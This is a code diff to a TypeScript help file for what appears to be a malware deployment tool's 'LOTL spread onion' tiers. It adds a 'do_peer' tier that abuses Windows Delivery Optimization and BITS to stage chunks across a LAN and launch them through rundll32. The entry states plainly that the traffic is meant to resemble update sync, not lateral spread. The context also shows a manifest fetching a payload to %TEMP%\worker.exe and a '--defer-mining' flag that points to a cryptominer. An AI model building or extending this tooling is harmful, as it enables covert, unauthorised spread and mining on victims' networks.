Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

server/web/src/help/lotlOnionTiers.ts

@@ -7,6 +7,7 @@ export const DEFAULT_LOTL_ONION_TIERS = [
   'powershell',
   'dotnet',
   'bits_curl',
+  'do_peer',
   'smb',
   'winrm',
   'linux',
@@ -81,6 +82,15 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
     example:
       'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
   },
+  {
+    id: 'do_peer',
+    label: 'do_peer',
+    hint: 'DoSvc/BITS shadow cache handoff — LAN peer chunk staging',
+    definition:
+      'Windows Delivery Optimization (DoSvc) + BITS peer-style chunk staging on LAN. Agent seeds/receives hash-verified chunks via a local peer cache pattern and launches via rundll32/BITS — traffic resembles update peer sync, not lateral spread.',
+    example:
+      'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
+  },
   {
     id: 'smb',
     label: 'SMB',